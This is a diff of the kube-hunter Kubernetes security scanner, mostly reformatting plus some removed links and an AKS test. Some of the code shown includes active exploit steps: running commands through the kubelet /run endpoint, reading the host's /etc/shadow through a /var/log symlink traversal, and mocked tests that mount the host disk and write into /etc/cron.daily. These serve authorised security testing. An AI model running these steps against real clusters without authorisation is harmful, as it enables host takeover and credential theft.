container_name = exposed_existing_privileged_containers["container_name"] container_name = exposed_existing_privileged_containers["container_name"]
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}" run_request_url = self.base_url + "run/{}/{}/{}".format(pod_namespace, pod_id, container_name)
is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container( is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container(
run_request_url, run_request_url,
@@ -1017,7 +954,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
+ temp_message + temp_message
) )
self.event.evidence = f"{message}" self.event.evidence = "{}".format(message)
else: else:
message = ( message = (
"The following exposed existing privileged containers" "The following exposed existing privileged containers"
@@ -1026,7 +963,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
+ temp_message + temp_message
) )
self.event.evidence = f"{message}" self.event.evidence = "{}".format(message)
@handler.subscribe(ExposedRunHandler) @handler.subscribe(ExposedRunHandler)
@@ -1048,17 +985,13 @@ class ProveRunHandler(ActiveHunter):
cmd=command, cmd=command,
) )
return self.event.session.post( return self.event.session.post(
f"{self.base_path}/{run_url}", f"{self.base_path}/{run_url}", verify=False, timeout=config.network_timeout,
verify=False,
timeout=config.network_timeout,
).text ).text
def execute(self): def execute(self):
config = get_config() config = get_config()
r = self.event.session.get( r = self.event.session.get(
f"{self.base_path}/" + KubeletHandlers.PODS.value, f"{self.base_path}/" + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
verify=False,
timeout=config.network_timeout,
) )
if "items" in r.text: if "items" in r.text:
pods_data = r.json()["items"] pods_data = r.json()["items"]
@@ -1092,9 +1025,7 @@ class ProveContainerLogsHandler(ActiveHunter):
def execute(self): def execute(self):
config = get_config() config = get_config()
pods_raw = self.event.session.get( pods_raw = self.event.session.get(
self.base_url + KubeletHandlers.PODS.value, self.base_url + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
verify=False,
timeout=config.network_timeout,
).text ).text
if "items" in pods_raw: if "items" in pods_raw:
pods_data = json.loads(pods_raw)["items"] pods_data = json.loads(pods_raw)["items"]
@@ -1133,16 +1064,11 @@ class ProveSystemLogs(ActiveHunter):
f"{self.base_url}/" + KubeletHandlers.LOGS.value.format(path="audit/audit.log"), f"{self.base_url}/" + KubeletHandlers.LOGS.value.format(path="audit/audit.log"),
verify=False, verify=False,
timeout=config.network_timeout, timeout=config.network_timeout,
) ).text
logger.debug(f"Audit log of host {self.event.host}: {audit_logs[:10]}")
# TODO: add more methods for proving system logs
if audit_logs.status_code == requests.status_codes.codes.OK:
logger.debug(f"Audit log of host {self.event.host}: {audit_logs.text[:10]}")
# iterating over proctitles and converting them into readable strings # iterating over proctitles and converting them into readable strings
proctitles = [] proctitles = []
for proctitle in re.findall(r"proctitle=(\w+)", audit_logs.text): for proctitle in re.findall(r"proctitle=(\w+)", audit_logs):
proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " ")) proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
self.event.proctitles = proctitles self.event.proctitles = proctitles
self.event.evidence = f"audit log: {proctitles}" self.event.evidence = f"audit log: {proctitles}"
else:
self.event.evidence = "Could not parse system logs"

View File

@@ -25,14 +25,10 @@ class WriteMountToVarLog(Vulnerability, Event):
def __init__(self, pods): def __init__(self, pods):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, "Pod With Mount To /var/log", category=PrivilegeEscalation, vid="KHV047",
KubernetesCluster,
"Pod With Mount To /var/log",
category=PrivilegeEscalation,
vid="KHV047",
) )
self.pods = pods self.pods = pods
self.evidence = "pods: {}".format(", ".join(pod["metadata"]["name"] for pod in self.pods)) self.evidence = "pods: {}".format(", ".join((pod["metadata"]["name"] for pod in self.pods)))
class DirectoryTraversalWithKubelet(Vulnerability, Event): class DirectoryTraversalWithKubelet(Vulnerability, Event):
@@ -41,13 +37,10 @@ class DirectoryTraversalWithKubelet(Vulnerability, Event):
def __init__(self, output): def __init__(self, output):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, "Root Traversal Read On The Kubelet", category=PrivilegeEscalation,
KubernetesCluster,
"Root Traversal Read On The Kubelet",
category=PrivilegeEscalation,
) )
self.output = output self.output = output
self.evidence = f"output: {self.output}" self.evidence = "output: {}".format(self.output)
@handler.subscribe(ExposedPodsHandler) @handler.subscribe(ExposedPodsHandler)
@@ -89,10 +82,7 @@ class ProveVarLogMount(ActiveHunter):
def run(self, command, container): def run(self, command, container):
run_url = KubeletHandlers.RUN.value.format( run_url = KubeletHandlers.RUN.value.format(
podNamespace=container["namespace"], podNamespace=container["namespace"], podID=container["pod"], containerName=container["name"], cmd=command,
podID=container["pod"],
containerName=container["name"],
cmd=command,
) )
return self.event.session.post(f"{self.base_path}/{run_url}", verify=False).text return self.event.session.post(f"{self.base_path}/{run_url}", verify=False).text
@@ -101,9 +91,7 @@ class ProveVarLogMount(ActiveHunter):
config = get_config() config = get_config()
logger.debug("accessing /pods manually on ProveVarLogMount") logger.debug("accessing /pods manually on ProveVarLogMount")
pods = self.event.session.get( pods = self.event.session.get(
f"{self.base_path}/" + KubeletHandlers.PODS.value, f"{self.base_path}/" + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
verify=False,
timeout=config.network_timeout,
).json()["items"] ).json()["items"]
for pod in pods: for pod in pods:
volume = VarLogMountHunter(ExposedPodsHandler(pods=pods)).has_write_mount_to(pod, "/var/log") volume = VarLogMountHunter(ExposedPodsHandler(pods=pods)).has_write_mount_to(pod, "/var/log")
@@ -129,9 +117,7 @@ class ProveVarLogMount(ActiveHunter):
path=re.sub(r"^/var/log", "", host_path) + symlink_name path=re.sub(r"^/var/log", "", host_path) + symlink_name
) )
content = self.event.session.get( content = self.event.session.get(
f"{self.base_path}/{path_in_logs_endpoint}", f"{self.base_path}/{path_in_logs_endpoint}", verify=False, timeout=config.network_timeout,
verify=False,
timeout=config.network_timeout,
).text ).text
# removing symlink # removing symlink
self.run(f"rm {mount_path}/{symlink_name}", container=container) self.run(f"rm {mount_path}/{symlink_name}", container=container)
@@ -148,10 +134,7 @@ class ProveVarLogMount(ActiveHunter):
} }
try: try:
output = self.traverse_read( output = self.traverse_read(
"/etc/shadow", "/etc/shadow", container=cont, mount_path=mount_path, host_path=volume["hostPath"]["path"],
container=cont,
mount_path=mount_path,
host_path=volume["hostPath"]["path"],
) )
self.publish_event(DirectoryTraversalWithKubelet(output=output)) self.publish_event(DirectoryTraversalWithKubelet(output=output))
except Exception: except Exception:

View File

@@ -23,11 +23,7 @@ class KubeProxyExposed(Vulnerability, Event):
def __init__(self): def __init__(self):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, "Proxy Exposed", category=InformationDisclosure, vid="KHV049",
KubernetesCluster,
"Proxy Exposed",
category=InformationDisclosure,
vid="KHV049",
) )
@@ -93,9 +89,7 @@ class ProveProxyExposed(ActiveHunter):
def execute(self): def execute(self):
config = get_config() config = get_config()
version_metadata = requests.get( version_metadata = requests.get(
f"http://{self.event.host}:{self.event.port}/version", f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
verify=False,
timeout=config.network_timeout,
).json() ).json()
if "buildDate" in version_metadata: if "buildDate" in version_metadata:
self.event.evidence = "build date: {}".format(version_metadata["buildDate"]) self.event.evidence = "build date: {}".format(version_metadata["buildDate"])
@@ -113,15 +107,11 @@ class K8sVersionDisclosureProve(ActiveHunter):
def execute(self): def execute(self):
config = get_config() config = get_config()
version_metadata = requests.get( version_metadata = requests.get(
f"http://{self.event.host}:{self.event.port}/version", f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
verify=False,
timeout=config.network_timeout,
).json() ).json()
if "gitVersion" in version_metadata: if "gitVersion" in version_metadata:
self.publish_event( self.publish_event(
K8sVersionDisclosure( K8sVersionDisclosure(
version=version_metadata["gitVersion"], version=version_metadata["gitVersion"], from_endpoint="/version", extra_info="on kube-proxy",
from_endpoint="/version",
extra_info="on kube-proxy",
) )
) )

View File

@@ -28,10 +28,7 @@ class SecretsAccess(Vulnerability, Event):
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=KubernetesCluster, name="Access to pod's secrets", category=AccessRisk,
component=KubernetesCluster,
name="Access to pod's secrets",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence

View File

@@ -7,9 +7,6 @@ from kube_hunter.modules.report.collector import (
vulnerabilities_lock, vulnerabilities_lock,
) )
BASE_KB_LINK = "https://avd.aquasec.com/"
FULL_KB_LINK = "https://avd.aquasec.com/kube-hunter/{vid}/"
class BaseReporter: class BaseReporter:
def get_nodes(self): def get_nodes(self):
@@ -41,7 +38,6 @@ class BaseReporter:
"vulnerability": vuln.get_name(), "vulnerability": vuln.get_name(),
"description": vuln.explain(), "description": vuln.explain(),
"evidence": str(vuln.evidence), "evidence": str(vuln.evidence),
"avd_reference": FULL_KB_LINK.format(vid=vuln.get_vid().lower()),
"hunter": vuln.hunter.get_name(), "hunter": vuln.hunter.get_name(),
} }
for vuln in vulnerabilities for vuln in vulnerabilities
@@ -67,4 +63,6 @@ class BaseReporter:
if statistics: if statistics:
report["hunter_statistics"] = self.get_hunter_statistics() report["hunter_statistics"] = self.get_hunter_statistics()
report["kburl"] = "https://aquasecurity.github.io/kube-hunter/kb/{vid}"
return report return report

View File

@@ -12,10 +12,7 @@ class HTTPDispatcher:
dispatch_url = os.environ.get("KUBEHUNTER_HTTP_DISPATCH_URL", "https://localhost/") dispatch_url = os.environ.get("KUBEHUNTER_HTTP_DISPATCH_URL", "https://localhost/")
try: try:
r = requests.request( r = requests.request(
dispatch_method, dispatch_method, dispatch_url, json=report, headers={"Content-Type": "application/json"},
dispatch_url,
json=report,
headers={"Content-Type": "application/json"},
) )
r.raise_for_status() r.raise_for_status()
logger.info(f"Report was dispatched to: {dispatch_url}") logger.info(f"Report was dispatched to: {dispatch_url}")

View File

@@ -1,6 +1,6 @@
from prettytable import ALL, PrettyTable from prettytable import ALL, PrettyTable
from kube_hunter.modules.report.base import BaseReporter, BASE_KB_LINK from kube_hunter.modules.report.base import BaseReporter
from kube_hunter.modules.report.collector import ( from kube_hunter.modules.report.collector import (
services, services,
vulnerabilities, vulnerabilities,
@@ -9,8 +9,9 @@ from kube_hunter.modules.report.collector import (
vulnerabilities_lock, vulnerabilities_lock,
) )
EVIDENCE_PREVIEW = 100 EVIDENCE_PREVIEW = 40
MAX_TABLE_WIDTH = 20 MAX_TABLE_WIDTH = 20
KB_LINK = "https://github.com/aquasecurity/kube-hunter/tree/master/docs/_kb"
class PlainReporter(BaseReporter): class PlainReporter(BaseReporter):
@@ -59,7 +60,7 @@ class PlainReporter(BaseReporter):
if service.event_id not in id_memory: if service.event_id not in id_memory:
nodes_table.add_row(["Node/Master", service.host]) nodes_table.add_row(["Node/Master", service.host])
id_memory.add(service.event_id) id_memory.add(service.event_id)
nodes_ret = f"\nNodes\n{nodes_table}\n" nodes_ret = "\nNodes\n{}\n".format(nodes_table)
services_lock.release() services_lock.release()
return nodes_ret return nodes_ret
@@ -113,7 +114,7 @@ class PlainReporter(BaseReporter):
return ( return (
"\nVulnerabilities\n" "\nVulnerabilities\n"
"For further information about a vulnerability, search its ID in: \n" "For further information about a vulnerability, search its ID in: \n"
f"{BASE_KB_LINK}\n{vuln_table}\n" f"{KB_LINK}\n{vuln_table}\n"
) )
def hunters_table(self): def hunters_table(self):

View File

@@ -1,3 +0,0 @@
from PyInstaller.utils.hooks import collect_all
datas, binaries, hiddenimports = collect_all("prettytable")

View File

@@ -22,8 +22,6 @@ classifiers =
Programming Language :: Python :: 3.6 Programming Language :: Python :: 3.6
Programming Language :: Python :: 3.7 Programming Language :: Python :: 3.7
Programming Language :: Python :: 3.8 Programming Language :: Python :: 3.8
Programming Language :: Python :: 3.9
Programming Language :: Python :: 3 :: Only
Topic :: Security Topic :: Security
[options] [options]

View File

@@ -41,8 +41,6 @@ class PyInstallerCommand(Command):
cfg.read("setup.cfg") cfg.read("setup.cfg")
command = [ command = [
"pyinstaller", "pyinstaller",
"--additional-hooks-dir",
"pyinstaller_hooks",
"--clean", "--clean",
"--onefile", "--onefile",
"--name", "--name",

View File

@@ -11,13 +11,12 @@ def test_setup_logger_level():
("NOTEXISTS", logging.INFO), ("NOTEXISTS", logging.INFO),
("BASIC_FORMAT", logging.INFO), ("BASIC_FORMAT", logging.INFO),
] ]
logFile = None
for level, expected in test_cases: for level, expected in test_cases:
setup_logger(level, logFile) setup_logger(level)
actual = logging.getLogger().getEffectiveLevel() actual = logging.getLogger().getEffectiveLevel()
assert actual == expected, f"{level} level should be {expected} (got {actual})" assert actual == expected, f"{level} level should be {expected} (got {actual})"
def test_setup_logger_none(): def test_setup_logger_none():
setup_logger("NONE", None) setup_logger("NONE")
assert logging.getLogger().manager.disable == logging.CRITICAL assert logging.getLogger().manager.disable == logging.CRITICAL

View File

@@ -8,7 +8,7 @@ set_config(Config())
def test_presetcloud(): def test_presetcloud():
"""Testing if it doesn't try to run get_cloud if the cloud type is already set. """ Testing if it doesn't try to run get_cloud if the cloud type is already set.
get_cloud(1.2.3.4) will result with an error get_cloud(1.2.3.4) will result with an error
""" """
expcted = "AWS" expcted = "AWS"

View File

@@ -20,9 +20,7 @@ def test_ApiServer():
m.get("https://mockOther:443", text="elephant") m.get("https://mockOther:443", text="elephant")
m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403) m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
m.get( m.get(
"https://mockKubernetes:443/version", "https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
text='{"major": "1.14.10"}',
status_code=200,
) )
e = Event() e = Event()
@@ -46,15 +44,11 @@ def test_ApiServerWithServiceAccountToken():
counter = 0 counter = 0
with requests_mock.Mocker() as m: with requests_mock.Mocker() as m:
m.get( m.get(
"https://mockKubernetes:443", "https://mockKubernetes:443", request_headers={"Authorization": "Bearer very_secret"}, text='{"code":200}',
request_headers={"Authorization": "Bearer very_secret"},
text='{"code":200}',
) )
m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403) m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
m.get( m.get(
"https://mockKubernetes:443/version", "https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
text='{"major": "1.14.10"}',
status_code=200,
) )
m.get("https://mockOther:443", text="elephant") m.get("https://mockOther:443", text="elephant")
@@ -123,7 +117,7 @@ def test_InsecureApiServer():
# We should only generate an ApiServer event for a response that looks like it came from a Kubernetes node # We should only generate an ApiServer event for a response that looks like it came from a Kubernetes node
@handler.subscribe(ApiServer) @handler.subscribe(ApiServer)
class testApiServer: class testApiServer(object):
def __init__(self, event): def __init__(self, event):
print("Event") print("Event")
assert event.host == "mockKubernetes" assert event.host == "mockKubernetes"

View File

@@ -90,7 +90,7 @@ class TestDiscoveryUtils:
def test_generate_hosts_valid_ignore(): def test_generate_hosts_valid_ignore():
remove = IPAddress("192.168.1.8") remove = IPAddress("192.168.1.8")
scan = "192.168.1.0/24" scan = "192.168.1.0/24"
expected = {ip for ip in IPNetwork(scan) if ip != remove} expected = set(ip for ip in IPNetwork(scan) if ip != remove)
actual = set(HostDiscoveryHelpers.generate_hosts([scan, f"!{str(remove)}"])) actual = set(HostDiscoveryHelpers.generate_hosts([scan, f"!{str(remove)}"]))

View File

@@ -1,56 +0,0 @@
# flake8: noqa: E402
import requests_mock
from kube_hunter.conf import Config, set_config
set_config(Config())
from kube_hunter.modules.hunting.kubelet import ExposedRunHandler
from kube_hunter.modules.hunting.aks import AzureSpnHunter
def test_AzureSpnHunter():
e = ExposedRunHandler()
e.host = "mockKubernetes"
e.port = 443
e.protocol = "https"
pod_template = '{{"items":[ {{"apiVersion":"v1","kind":"Pod","metadata":{{"name":"etc","namespace":"default"}},"spec":{{"containers":[{{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{{"mountPath":"/mp","name":"v"}}]}}],"volumes":[{{"hostPath":{{"path":"{}"}},"name":"v"}}]}}}} ]}}'
bad_paths = ["/", "/etc", "/etc/", "/etc/kubernetes", "/etc/kubernetes/azure.json"]
good_paths = ["/yo", "/etc/yo", "/etc/kubernetes/yo.json"]
for p in bad_paths:
with requests_mock.Mocker() as m:
m.get("https://mockKubernetes:443/pods", text=pod_template.format(p))
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c
for p in good_paths:
with requests_mock.Mocker() as m:
m.get("https://mockKubernetes:443/pods", text=pod_template.format(p))
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
with requests_mock.Mocker() as m:
pod_no_volume_mounts = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}],"volumes":[{"hostPath":{"path":"/whatever"},"name":"v"}]}} ]}'
m.get("https://mockKubernetes:443/pods", text=pod_no_volume_mounts)
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
with requests_mock.Mocker() as m:
pod_no_volumes = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}]}} ]}'
m.get("https://mockKubernetes:443/pods", text=pod_no_volumes)
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
with requests_mock.Mocker() as m:
pod_other_volume = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{"mountPath":"/mp","name":"v"}]}],"volumes":[{"emptyDir":{},"name":"v"}]}} ]}'
m.get("https://mockKubernetes:443/pods", text=pod_other_volume)
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None

View File

@@ -56,8 +56,7 @@ def test_AccessApiServer():
with requests_mock.Mocker() as m: with requests_mock.Mocker() as m:
m.get("https://mockKubernetes:443/api", text="{}") m.get("https://mockKubernetes:443/api", text="{}")
m.get( m.get(
"https://mockKubernetes:443/api/v1/namespaces", "https://mockKubernetes:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
text='{"items":[{"metadata":{"name":"hello"}}]}',
) )
m.get( m.get(
"https://mockKubernetes:443/api/v1/pods", "https://mockKubernetes:443/api/v1/pods",
@@ -65,12 +64,10 @@ def test_AccessApiServer():
{"metadata":{"name":"podB", "namespace":"namespaceB"}}]}', {"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
) )
m.get( m.get(
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles", "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
status_code=403,
) )
m.get( m.get(
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text='{"items":[]}',
text='{"items":[]}',
) )
m.get( m.get(
"https://mockkubernetes:443/version", "https://mockkubernetes:443/version",
@@ -94,8 +91,7 @@ def test_AccessApiServer():
# TODO check that these responses reflect what Kubernetes does # TODO check that these responses reflect what Kubernetes does
m.get("https://mocktoken:443/api", text="{}") m.get("https://mocktoken:443/api", text="{}")
m.get( m.get(
"https://mocktoken:443/api/v1/namespaces", "https://mocktoken:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
text='{"items":[{"metadata":{"name":"hello"}}]}',
) )
m.get( m.get(
"https://mocktoken:443/api/v1/pods", "https://mocktoken:443/api/v1/pods",
@@ -103,8 +99,7 @@ def test_AccessApiServer():
{"metadata":{"name":"podB", "namespace":"namespaceB"}}]}', {"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
) )
m.get( m.get(
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles", "https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
status_code=403,
) )
m.get( m.get(
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/clusterroles", "https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
@@ -122,7 +117,7 @@ def test_AccessApiServer():
@handler.subscribe(ListNamespaces) @handler.subscribe(ListNamespaces)
class test_ListNamespaces: class test_ListNamespaces(object):
def __init__(self, event): def __init__(self, event):
print("ListNamespaces") print("ListNamespaces")
assert event.evidence == ["hello"] assert event.evidence == ["hello"]
@@ -135,7 +130,7 @@ class test_ListNamespaces:
@handler.subscribe(ListPodsAndNamespaces) @handler.subscribe(ListPodsAndNamespaces)
class test_ListPodsAndNamespaces: class test_ListPodsAndNamespaces(object):
def __init__(self, event): def __init__(self, event):
print("ListPodsAndNamespaces") print("ListPodsAndNamespaces")
assert len(event.evidence) == 2 assert len(event.evidence) == 2
@@ -158,7 +153,7 @@ class test_ListPodsAndNamespaces:
# Should never see this because the API call in the test returns 403 status code # Should never see this because the API call in the test returns 403 status code
@handler.subscribe(ListRoles) @handler.subscribe(ListRoles)
class test_ListRoles: class test_ListRoles(object):
def __init__(self, event): def __init__(self, event):
print("ListRoles") print("ListRoles")
assert 0 assert 0
@@ -169,7 +164,7 @@ class test_ListRoles:
# Should only see this when we have a token because the API call returns an empty list of items # Should only see this when we have a token because the API call returns an empty list of items
# in the test where we have no token # in the test where we have no token
@handler.subscribe(ListClusterRoles) @handler.subscribe(ListClusterRoles)
class test_ListClusterRoles: class test_ListClusterRoles(object):
def __init__(self, event): def __init__(self, event):
print("ListClusterRoles") print("ListClusterRoles")
assert event.auth_token == "so-secret" assert event.auth_token == "so-secret"
@@ -178,7 +173,7 @@ class test_ListClusterRoles:
@handler.subscribe(ServerApiAccess) @handler.subscribe(ServerApiAccess)
class test_ServerApiAccess: class test_ServerApiAccess(object):
def __init__(self, event): def __init__(self, event):
print("ServerApiAccess") print("ServerApiAccess")
if event.category == UnauthenticatedAccess: if event.category == UnauthenticatedAccess:
@@ -191,7 +186,7 @@ class test_ServerApiAccess:
@handler.subscribe(ApiServerPassiveHunterFinished) @handler.subscribe(ApiServerPassiveHunterFinished)
class test_PassiveHunterFinished: class test_PassiveHunterFinished(object):
def __init__(self, event): def __init__(self, event):
print("PassiveHunterFinished") print("PassiveHunterFinished")
assert event.namespaces == ["hello"] assert event.namespaces == ["hello"]
@@ -233,12 +228,10 @@ def test_AccessApiServerActive():
) )
m.post("https://mockKubernetes:443/api/v1/clusterroles", text="{}") m.post("https://mockKubernetes:443/api/v1/clusterroles", text="{}")
m.post( m.post(
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text="{}",
text="{}",
) )
m.post( m.post(
"https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods", "https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods", text="{}",
text="{}",
) )
m.post( m.post(
"https://mockkubernetes:443" "/apis/rbac.authorization.k8s.io/v1/namespaces/hello-namespace/roles", "https://mockkubernetes:443" "/apis/rbac.authorization.k8s.io/v1/namespaces/hello-namespace/roles",
@@ -276,12 +269,12 @@ def test_AccessApiServerActive():
@handler.subscribe(CreateANamespace) @handler.subscribe(CreateANamespace)
class test_CreateANamespace: class test_CreateANamespace(object):
def __init__(self, event): def __init__(self, event):
assert "abcde" in event.evidence assert "abcde" in event.evidence
@handler.subscribe(DeleteANamespace) @handler.subscribe(DeleteANamespace)
class test_DeleteANamespace: class test_DeleteANamespace(object):
def __init__(self, event): def __init__(self, event):
assert "2019-02-26" in event.evidence assert "2019-02-26" in event.evidence

View File

@@ -37,6 +37,6 @@ rceJuGsnJEQ=
@handler.subscribe(CertificateEmail) @handler.subscribe(CertificateEmail)
class test_CertificateEmail: class test_CertificateEmail(object):
def __init__(self, event): def __init__(self, event):
assert event.email == b"build@nodejs.org0" assert event.email == b"build@nodejs.org0"

View File

@@ -41,7 +41,7 @@ def test_K8sCveHunter():
@handler.subscribe(ServerApiVersionEndPointAccessPE) @handler.subscribe(ServerApiVersionEndPointAccessPE)
class test_CVE_2018_1002105: class test_CVE_2018_1002105(object):
def __init__(self, event): def __init__(self, event):
global cve_counter global cve_counter
cve_counter += 1 cve_counter += 1

View File

@@ -73,8 +73,8 @@ def create_test_event_type_one():
def create_test_event_type_two(): def create_test_event_type_two():
exposed_existing_privileged_containers_via_secure_kubelet_port_event = ( exposed_existing_privileged_containers_via_secure_kubelet_port_event = ExposedExistingPrivilegedContainersViaSecureKubeletPort(
ExposedExistingPrivilegedContainersViaSecureKubeletPort(exposed_privileged_containers) exposed_privileged_containers
) )
exposed_existing_privileged_containers_via_secure_kubelet_port_event.host = "localhost" exposed_existing_privileged_containers_via_secure_kubelet_port_event.host = "localhost"
exposed_existing_privileged_containers_via_secure_kubelet_port_event.session = requests.Session() exposed_existing_privileged_containers_via_secure_kubelet_port_event.session = requests.Session()
@@ -270,7 +270,7 @@ def test_proveanonymousauth_connectivity_issues():
@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort) @handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
class ExposedPrivilegedContainersViaAnonymousAuthEnabledInSecureKubeletPortEventCounter: class ExposedPrivilegedContainersViaAnonymousAuthEnabledInSecureKubeletPortEventCounter(object):
def __init__(self, event): def __init__(self, event):
global counter global counter
counter += 1 counter += 1
@@ -371,9 +371,9 @@ def test_attack_exposed_existing_privileged_container_success():
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd=" run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1()) directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1()) file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}" file_name_with_path = "{}/etc/cron.daily/{}".format(directory_created, file_name)
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="") session_mock.post(run_url + urllib.parse.quote("touch {}".format(file_name_with_path), safe=""), text="")
session_mock.post( session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text="" run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
) )
@@ -395,12 +395,12 @@ def test_attack_exposed_existing_privileged_container_failure_when_touch():
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock: with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1()) directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1()) file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}" file_name_with_path = "{}/etc/cron.daily/{}".format(directory_created, file_name)
url = "https://localhost:10250/" url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd=" run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post( session_mock.post(
run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), run_url + urllib.parse.quote("touch {}".format(file_name_with_path), safe=""),
text="Operation not permitted", text="Operation not permitted",
) )
@@ -420,11 +420,11 @@ def test_attack_exposed_existing_privileged_container_failure_when_chmod():
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock: with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1()) directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1()) file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}" file_name_with_path = "{}/etc/cron.daily/{}".format(directory_created, file_name)
url = "https://localhost:10250/" url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd=" run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="") session_mock.post(run_url + urllib.parse.quote("touch {}".format(file_name_with_path), safe=""), text="")
session_mock.post( session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""),
text="Permission denied", text="Permission denied",
@@ -547,12 +547,12 @@ def test_process_exposed_existing_privileged_container_success():
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline) session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs") session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="") session_mock.post(run_url + urllib.parse.quote("mkdir {}".format(directory_created), safe=""), text="")
session_mock.post( session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text="" run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
) )
